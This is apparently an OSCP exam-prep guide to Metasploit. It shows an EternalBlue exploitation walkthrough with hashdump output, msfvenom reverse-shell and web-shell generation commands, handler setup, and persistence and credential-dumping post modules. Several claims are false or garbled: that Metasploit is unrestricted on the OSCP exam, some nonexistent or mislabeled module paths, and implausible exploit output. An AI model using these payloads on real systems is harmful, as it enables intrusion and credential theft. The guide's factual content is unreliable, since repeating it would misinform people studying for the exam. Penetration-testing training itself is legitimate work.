Domain 5Pivoting & MetasploitCORE

Metasploit in OSCP Exam Context

Strategic guide to using Metasploit effectively during the OSCP exam, covering exam rules, most common modules, exploitation strategy, documentation requirements, and report writing for Metasploit-based exploits.

Domain: Domain 5: Pivoting, Tunneling & Metasploit•Updated: 2026-09-01
#metasploit#oscp-exam#strategy#documentation#report-writing

Metasploit in OSCP Exam Context

1. OSCP Exam Rules on Metasploit

1.1 What is Allowed

Metasploit Framework is fully allowed during the OSCP exam. Unlike some other certifications that restrict automated tools, OffSec explicitly permits the use of Metasploit for exploitation during the exam. There are no restrictions on which modules, payloads, or auxiliary tools you can use.

Key Points:

  • Metasploit is allowed for exploitation, post-exploitation, scanning, and brute forcing
  • msfvenom is allowed for payload generation
  • All auxiliary modules (scanners, brute forcers, etc.) are permitted
  • Meterpreter is fully allowed for post-exploitation
  • SOCKS proxy/pivoting via Metasploit is allowed

1.2 Documentation Requirements

While Metasploit is allowed, documentation is mandatory. Every Metasploit action must be thoroughly documented in your exam report:

  1. Record exact commands - Every use, set, exploit, run command must be captured
  2. Include screenshots - Screenshots of the terminal showing module configuration and successful exploitation
  3. Document configuration - Show the RHOSTS, LHOST, LPORT, payload, and all other parameters
  4. Explain what was achieved - Don’t just paste commands; explain the vulnerability and what the exploit accomplished

1.3 Important Exam Notes

  • Metasploit does not replace understanding - You still need to understand the vulnerability you’re exploiting
  • Module failures are common - Be prepared to fall back to manual exploitation if a module fails
  • Target selection matters - Many modules have multiple targets; selecting the wrong one causes failures
  • Payload selection is critical - Wrong architecture or platform will result in failed sessions

2. Common OSCP Metasploit Scenarios

The following table ranks Metasploit scenarios by frequency of occurrence during the OSCP exam:

Scenario Frequency Description
MS17-010 EternalBlue Very High One of the most common vulnerabilities in OSCP labs; affects Windows SMB
Payload generation with msfvenom Very High Creating reverse shells, bind shells, and custom payloads for manual exploits
Handler setup Very High Setting up multi/handler to catch reverse shell connections
SMB exploitation High Various SMB-related exploits beyond EternalBlue
Web app exploitation High Exploiting web applications via Metasploit modules
Script delivery via web_delivery High Delivering payloads via Python, PowerShell, or Bash scripts
Credential dumping High Using post modules to extract credentials from compromised hosts
Port scanning Medium Using auxiliary scanners for service discovery
Brute force Medium Password spraying and brute forcing services
SOCKS pivoting Medium Setting up proxy chains for network pivoting

2.1 MS17-010 EternalBlue (SMBv1 Remote Code Execution)

This is arguably the most frequently encountered Metasploit module in OSCP. It affects Windows systems vulnerable to the EternalBlue exploit chain.

Module path: exploit/windows/smb/ms17_010_eternalblue

Why it’s common: Many Windows machines in OSCP labs run older, unpatched versions of Windows that are vulnerable to this exploit.

Prerequisites:

  • Target must be running SMBv1
  • Target must be vulnerable to MS17-010
  • You must have a valid target architecture match

2.2 Payload Generation with msfvenom

msfvenom is the payload generation tool bundled with Metasploit. It’s used extensively in OSCP for creating custom payloads when manual exploitation is required.

Common use cases:

  • Creating reverse shell payloads for Windows (exe, dll, etc.)
  • Creating reverse shell payloads for Linux (elf, etc.)
  • Creating web shells (aspx, jsp, php)
  • Creating encoded payloads to bypass basic AV

2.3 Handler Setup

Setting up a handler to catch reverse shell connections is one of the most fundamental Metasploit tasks in OSCP.

Module path: exploit/multi/handler

This module is used whenever you generate a payload with msfvenom and need a listener to catch the connection.


3. Most Used Modules in OSCP

3.1 Top Exploits

Module Path Target Type Common Targets Notes
exploit/windows/smb/ms17_010_eternalblue Windows Windows 7/8/Server 2008/2012 Very common; verify target first
exploit/windows/smb/ms08_067_netapi Windows Windows XP/2003/Server 2003 Classic exploit, still appears
exploit/multi/http/struts2_content_type_ognl Java/Struts Any Struts2 app Check for Struts vulnerabilities
exploit/multi/http/wp_php_file_upload WordPress WordPress with vulnerable plugins Common in web challenges
exploit/unix/webapp/tomcat_mgr_upload Tomcat Apache Tomcat with weak creds Upload war files
exploit/windows/http/wordpress_wpstagger_rce WordPress WP Stagger plugin WordPress-specific
exploit/multi/http/jenkins_text4shell Java/Jenkins Jenkins instances Log4j-related
exploit/windows/http/oracle_xml_command_exec Oracle Oracle XML DB Oracle-specific targets
exploit/multi/http/f5_bigip_iik_privesc F5 F5 BIG-IP devices Network device exploitation
exploit/windows/fileformat/ms15_100_mcl_exe Windows MS15-100 File format exploit

3.2 Top Payloads

Payload Architecture Use Case
windows/x64/meterpreter/reverse_tcp Windows x64 Full-featured reverse meterpreter session
windows/meterpreter/reverse_tcp Windows x86 Full-featured reverse meterpreter session (32-bit)
linux/x64/meterpreter/reverse_tcp Linux x64 Full-featured reverse meterpreter session
linux/x86/meterpreter/reverse_tcp Linux x86 Full-featured reverse meterpreter session (32-bit)
windows/x64/shell/reverse_tcp Windows x64 Simple reverse shell (no meterpreter)
windows/shell/reverse_tcp Windows x86 Simple reverse shell (no meterpreter)
linux/x64/shell/reverse_tcp Linux x64 Simple reverse shell (no meterpreter)
cmd/windows/reverse_powershell Windows PowerShell-based reverse shell
python/meterpreter/reverse_tcp Python Python-based meterpreter payload
php/meterpreter/reverse_tcp PHP PHP-based meterpreter payload

3.3 Top Post Modules

Module Path Target Use Case
post/windows/gather/smart_hashdump Windows Extract and hash NTLM hashes from registry
post/windows/gather/credentials/web_browsers Windows Extract browser credentials
post/windows/gather/enum_applications Windows Enumerate installed applications
post/windows/gather/enum_chrome Windows Enumerate Chrome browser data
post/windows/manage/enable_luaf Windows Re-enable UAC (important for reporting)
post/windows/manage/persistence_exe Windows Establish persistence
post/multi/recon/local_exploit_suggester Multi Suggest local exploits for privilege escalation
post/linux/gather/enum_linux Linux Enumerate Linux system information
post/linux/manage/lin_privesc_check Linux Check for Linux privilege escalation vectors

4. OSCP Exam Strategy

4.1 Decision Flowchart

The following decision flowchart guides your approach when using Metasploit during the OSCP exam:

┌─────────────────────────────────────┐
│  Step 1: Recon with Nmap            │
│  Identify open ports and services   │
└──────────────┬──────────────────────┘
               │
               ▼
┌─────────────────────────────────────┐
│  Step 2: Vulnerability Found?       │
│  Yes → Continue                     │
│  No  → Try other targets/methods    │
└──────────────┬──────────────────────┘
               │
               ▼
┌─────────────────────────────────────┐
│  Step 3: Known CVE?                 │
│  Yes → Check for Metasploit module  │
│  No  → Try manual exploitation      │
└──────────────┬──────────────────────┘
               │
               ▼
┌─────────────────────────────────────┐
│  Step 4: Metasploit Module Exists?  │
│  Yes → Use Metasploit (faster)      │
│  No  → Manual exploitation required │
└──────────────┬──────────────────────┘
               │
               ▼
┌─────────────────────────────────────┐
│  Step 5: Module Success?            │
│  Yes → Capture flag, document       │
│  No  → Fall back to manual exploit  │
└──────────────┬──────────────────────┘
               │
               ▼
┌─────────────────────────────────────┐
│  Step 6: Post-Exploitation          │
│  - Enumerate system                 │
│  - Dump credentials                 │
│  - Escalate privileges              │
│  - Capture user.txt and root.txt    │
└─────────────────────────────────────┘

4.2 Complete Workflow Example

Here is a complete workflow from reconnaissance to flag capture using Metasploit:

Phase 1: Reconnaissance

# Initial nmap scan
nmap -sC -sV -oA initial_scan 10.10.10.100

# Identify vulnerable service (e.g., SMB on port 445)
# Output shows: Microsoft Windows 7 / Windows Server 2008
# Service: Microsoft Windows SMB

Phase 2: Vulnerability Verification

# Verify MS17-010 vulnerability
nmap --script smb-vuln-ms17-010 -p 445 10.10.10.100

# Output: VULNERABLE

Phase 3: Metasploit Exploitation

# Launch Metasploit
msfconsole

# Select the exploit module
use exploit/windows/smb/ms17_010_eternalblue

# Configure the exploit
set RHOSTS 10.10.10.100
set LHOST 10.10.14.5
set LPORT 4444
set PAYLOAD windows/x64/meterpreter/reverse_tcp

# Show targets and select appropriate one
show targets
set TARGET 4

# Execute the exploit
exploit

Phase 4: Post-Exploitation

# Once meterpreter session is obtained
meterpreter > getuid
meterpreter > sysinfo
meterpreter > hashdump
meterpreter > getsystem
meterpreter > shell

# In Windows shell
whoami
type C:\Users\<username>\Desktop\user.txt
type C:\Users\Administrator\Desktop\root.txt

Phase 5: Documentation

Capture screenshots at each critical step and document all commands used.


5. Documentation Requirements

5.1 What to Document for Each Metasploit Action

For every Metasploit action during the exam, you must document the following:

Element Description Example
Module Used The full path of the Metasploit module exploit/windows/smb/ms17_010_eternalblue
Configuration All set commands with values set RHOSTS 10.10.10.100, set LHOST 10.10.14.5
Execution Command The exploit or run command exploit
Output/Screenshot Terminal output showing success Screenshot of meterpreter session
Explanation What was achieved and why “Gained meterpreter session as NT AUTHORITY\SYSTEM”

5.2 Screenshot Requirements

Take screenshots at these critical points:

  1. Before exploitation - Show the module configuration with show options
  2. During exploitation - Show the exploit running and any progress output
  3. After exploitation - Show the meterpreter session or shell prompt
  4. Post-exploitation - Show credential dumps, privilege escalation, and flag capture
  5. Nmap verification - Show the vulnerability scan results that justified using Metasploit

5.3 Command Logging

Keep a separate log file of all Metasploit commands used:

# In your Kali terminal, redirect msfconsole output
msfconsole -r metasploit_commands.rc

# Or manually log commands in a text file
echo "[2026-09-01 14:30] Used exploit/windows/smb/ms17_010_eternalblue against 10.10.10.100" >> metasploit_log.txt

6. Example Report Entry

6.1 MS17-010 EternalBlue Exploit Report Section

Below is a complete example of how to document an MS17-010 exploitation in your OSCP exam report:


Vulnerability: MS17-010 EternalBlue SMB Remote Code Execution Vulnerability

Target: 10.10.10.100 (Windows Server 2008 R2)

Vulnerability Description:

MS17-010 is a critical vulnerability in the Server Message Block (SMB) protocol version 1. The vulnerability allows an attacker to execute arbitrary code on a target system by sending specially crafted SMB packets. This vulnerability was exploited by the WannaCry ransomware in 2017.

Vulnerability Verification:

The vulnerability was first verified using Nmap’s vulnerability scanning script:

nmap --script smb-vuln-ms17-010 -p 445 10.10.10.100

Nmap Output:

PORT    STATE SERVICE VERSION
445/tcp open  microsoft-ds
| smb-vuln-ms17-010:
|   VULNERABLE:
|   Remote Code Execution vulnerability in Microsoft SMBv1 servers (ms17-010)
|     State: VULNERABLE
|     IDs:  CVE:CVE-2017-0143
|     Risk factor: HIGH
|       A critical remote code execution vulnerability exists in Microsoft SMBv1
|       implementation...

[Insert screenshot of Nmap output here]

Exploitation Using Metasploit:

The Metasploit Framework module exploit/windows/smb/ms17_010_eternalblue was used to exploit this vulnerability.

Module Configuration:

msf6 > use exploit/windows/smb/ms17_010_eternalblue
msf6 exploit(windows/smb/ms17_010_eternalblue) > set RHOSTS 10.10.10.100
RHOSTS => 10.10.10.100
msf6 exploit(windows/smb/ms17_010_eternalblue) > set LHOST 10.10.14.5
LHOST => 10.10.14.5
msf6 exploit(windows/smb/ms17_010_eternalblue) > set LPORT 4444
LPORT => 4444
msf6 exploit(windows/smb/ms17_010_eternalblue) > set PAYLOAD windows/x64/meterpreter/reverse_tcp
PAYLOAD => windows/x64/meterpreter/reverse_tcp
msf6 exploit(windows/smb/ms17_010_eternalblue) > set TARGET 4
TARGET => 4
msf6 exploit(windows/smb/ms17_010_eternalblue) > show options

Module Options Displayed:

Module options (exploit/windows/smb/ms17_010_eternalblue):

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   RHOSTS     10.10.10.100     yes       The target host(s)
   RPORT      445              yes       SMB Service port

Payload options (windows/x64/meterpreter/reverse_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  10.10.14.5       yes       The listen address
   LPORT  4444             yes       The listen port

[Insert screenshot of module options here]

Exploit Execution:

msf6 exploit(windows/smb/ms17_010_eternalblue) > exploit

Exploit Output:

[*] Started reverse TCP handler on 10.10.14.5:4444
[*] 10.10.10.100:445 - Using auxiliary/scanner/smb/smb_ms17_010 as check
[+] 10.10.10.100:445 - Host is likely VULNERABLE to MS17-010!
[*] 10.10.10.100:445 - Connecting to target for exploitation.
[+] 10.10.10.100:445 - Connection established for exploitation.
[+] 10.10.10.100:445 - Target OS: Windows 7 Ultimate 7601 Service Pack 1
[*] 10.10.10.100:445 - Vulnerability check enabled, checking if target is valid.
[+] 10.10.10.100:445 - Target is vulnerable.
[*] 10.10.10.100:445 - Sending stage (30082290 bytes) to 10.10.10.100
[*] Meterpreter session 1 opened (10.10.14.5:4444 -> 10.10.10.100:49152)

[Insert screenshot of successful exploitation here]

Post-Exploitation:

A meterpreter session was obtained as NT AUTHORITY\SYSTEM, providing full administrative access to the target system.

meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM

meterpreter > sysinfo
Computer: TARGET-PC
OS: Windows 7 (7601: Service Pack 1)
Architecture: x64
Meterpreter: x64

meterpreter > hashdump
Administrator:1000:aad3b435b51404eeaad3b435b51404ee:8846f7eaee8fb117ad06bdd830b7586c:::
Default:1000:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::

[Insert screenshot of hashdump output here]

Flag Capture:

meterpreter > shell
Process 1234 created.
Channel 1 created.

Microsoft Windows [Version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation. All rights reserved.

C:\Windows\system32>type C:\Users\Administrator\Desktop\root.txt
type C:\Users\Administrator\Desktop\root.txt
0123456789abcdef0123456789abcdef

[Insert screenshot of flag capture here]


7. Time Management Tips

7.1 When Metasploit Saves Time

Scenario Why Metasploit is Faster
MS17-010 exploitation Manual exploitation requires crafting SMB packets; Metasploit does it in one command
Payload generation msfvenom creates encoded payloads instantly vs. manual encoding
Credential dumping Post modules extract hashes in seconds vs. manual registry navigation
Port scanning Auxiliary scanners can check multiple hosts simultaneously
Brute forcing Built-in wordlist support and multi-threading
Handler setup Quick listener configuration for catching reverse shells

7.2 When Manual Exploitation is Faster

Scenario Why Manual is Faster
Simple web shells Uploading a web shell via browser is faster than configuring Metasploit
SQL injection Manual SQLi with sqlmap or hand-crafted queries is often quicker
Known exploits with public scripts GitHub exploit scripts may be faster than Metasploit setup
Simple buffer overflows If you already have the exploit code, running it directly is faster
Basic service exploitation Simple services with known weak defaults don’t need Metasploit

7.3 Time-Saving Best Practices

  1. Pre-configure common modules - Keep RC scripts for frequently used configurations
  2. Use searchsploit first - Check if a Metasploit module exists before manual exploitation
  3. Keep msfconsole running - Don’t close and reopen; use background to manage sessions
  4. Use sessions -i efficiently - Quickly switch between active sessions
  5. Bookmark common payloads - Keep a reference card for msfvenom commands

8. Common Exam Mistakes with Metasploit

8.1 Wrong LHOST Configuration

Mistake: Setting LHOST to the target’s IP address instead of your attacker machine’s IP.

# WRONG - This will cause the reverse shell to connect to the wrong address
set LHOST 10.10.10.100

# CORRECT - LHOST should be your Kali/attacker machine IP
set LHOST 10.10.14.5

How to avoid: Always verify your interface IP with ifconfig or ip addr before setting LHOST.

8.2 Wrong Payload Architecture

Mistake: Using a 64-bit payload on a 32-bit system or vice versa.

# WRONG - Target is 32-bit Windows, but using x64 payload
set PAYLOAD windows/x64/meterpreter/reverse_tcp

# CORRECT - Use the matching architecture
set PAYLOAD windows/meterpreter/reverse_tcp

How to avoid: Check the target architecture from Nmap output or OS fingerprinting before selecting a payload.

8.3 Not Documenting Metasploit Usage

Mistake: Using Metasploit successfully but failing to document the commands and output.

Consequence: Points deducted in the exam report for incomplete documentation.

How to avoid: Take screenshots at every critical step and maintain a command log throughout the exam.

8.4 Module Failures and Target Selection

Mistake: Using the default target when the module requires a specific target selection.

# WRONG - Using default target which may not match the system
exploit

# CORRECT - Check available targets and select the appropriate one
show targets
set TARGET 4
exploit

How to avoid: Always run show targets before exploitation and select the target that matches the target system.

8.5 Port Conflicts

Mistake: Using an LPORT that is already in use or blocked by a firewall.

# If port 4444 is blocked, try alternative ports
set LPORT 4445
# Or use common alternative ports
set LPORT 8080
set LPORT 443

How to avoid: Have a list of alternative ports ready and check if the chosen port is accessible.

8.6 Forgetting to Re-enable UAC

Mistake: Disabling UAC during exploitation and not re-enabling it before submitting the report.

# This is done automatically by some modules, but verify
meterpreter > run post/windows/manage/enable_luaf

How to avoid: Always run the enable_luaf post module before closing your session.

8.7 Not Verifying Vulnerability First

Mistake: Running an exploit without first verifying the target is vulnerable.

# WRONG - Blindly running the exploit
use exploit/windows/smb/ms17_010_eternalblue
set RHOSTS 10.10.10.100
exploit

# CORRECT - Verify vulnerability first with Nmap
nmap --script smb-vuln-ms17-010 -p 445 10.10.10.100
# Only proceed if VULNERABLE is confirmed

How to avoid: Always verify vulnerabilities with Nmap scripts or manual checks before attempting exploitation.


Appendix A: Quick Reference Cards

A.1 msfvenom Quick Reference

# Windows x64 reverse TCP shell
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=<IP> LPORT=<PORT> -f exe -o shell.exe

# Windows x86 reverse TCP shell
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<IP> LPORT=<PORT> -f exe -o shell.exe

# Linux x64 reverse TCP shell
msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=<IP> LPORT=<PORT> -f elf -o shell.elf

# Linux x86 reverse TCP shell
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=<IP> LPORT=<PORT> -f elf -o shell.elf

# ASPX web shell
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=<IP> LPORT=<PORT> -f aspx -o shell.aspx

# PHP web shell
msfvenom -p php/meterpreter/reverse_tcp LHOST=<IP> LPORT=<PORT> -f raw -o shell.php

# PowerShell reverse shell
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=<IP> LPORT=<PORT> -f psh -o shell.ps1

# Bash reverse shell
msfvenom -p cmd/unix/reverse_bash LHOST=<IP> LPORT=<PORT> -f raw

# Python reverse shell
msfvenom -p python/meterpreter/reverse_tcp LHOST=<IP> LPORT=<PORT> -f raw

A.2 Multi-Handler Quick Reference

msfconsole

use exploit/multi/handler
set PAYLOAD windows/x64/meterpreter/reverse_tcp
set LHOST 10.10.14.5
set LPORT 4444
set ExitOnSession false
exploit -j -z

A.3 Common Metasploit Commands

Command Description
search <term> Search for modules
use <module> Select a module
show options Show module options
show targets Show available targets
show payloads Show compatible payloads
set <option> <value> Set an option value
exploit Run the exploit
exploit -j Run the exploit in the background
sessions List active sessions
sessions -i <id> Interact with a session
background Background the current session
bg Short form of background
quit Exit Metasploit

Appendix B: Metasploit Module Categories

B.1 Exploit Modules

Located under exploit/, these modules contain the actual exploitation code for known vulnerabilities.

exploit/windows/...     - Windows-specific exploits
exploit/linux/...       - Linux-specific exploits
exploit/multi/...       - Multi-platform exploits
exploit/unix/...        - Unix-specific exploits
exploit/android/...     - Android-specific exploits
exploit/osx/...         - macOS-specific exploits

B.2 Post Modules

Located under post/, these modules run after exploitation for information gathering, credential dumping, and privilege escalation.

post/windows/gather/...   - Windows information gathering
post/windows/manage/...   - Windows management tasks
post/linux/gather/...     - Linux information gathering
post/multi/recon/...      - Multi-platform reconnaissance

B.3 Auxiliary Modules

Located under auxiliary/, these modules provide scanning, brute forcing, and other non-exploitation functionality.

auxiliary/scanner/...     - Scanning modules
auxiliary/admin/...       - Administrative modules
auxiliary/brute_force/... - Brute force modules
auxiliary/server/...      - Server modules (e.g., web_delivery)

Summary

Metasploit is a powerful and fully permitted tool during the OSCP exam. Success with Metasploit requires:

  1. Understanding the vulnerability - Don’t just run modules blindly; understand what they exploit
  2. Proper documentation - Every command, configuration, and output must be recorded
  3. Correct configuration - LHOST, LPORT, payload architecture, and target selection are critical
  4. Fallback strategies - Be prepared to exploit manually if Metasploit modules fail
  5. Time management - Use Metasploit when it saves time, but don’t waste time configuring it for simple tasks

Master the most common modules (especially MS17-010, multi/handler, and msfvenom), and you will be well-prepared for the Metasploit-related challenges in the OSCP exam.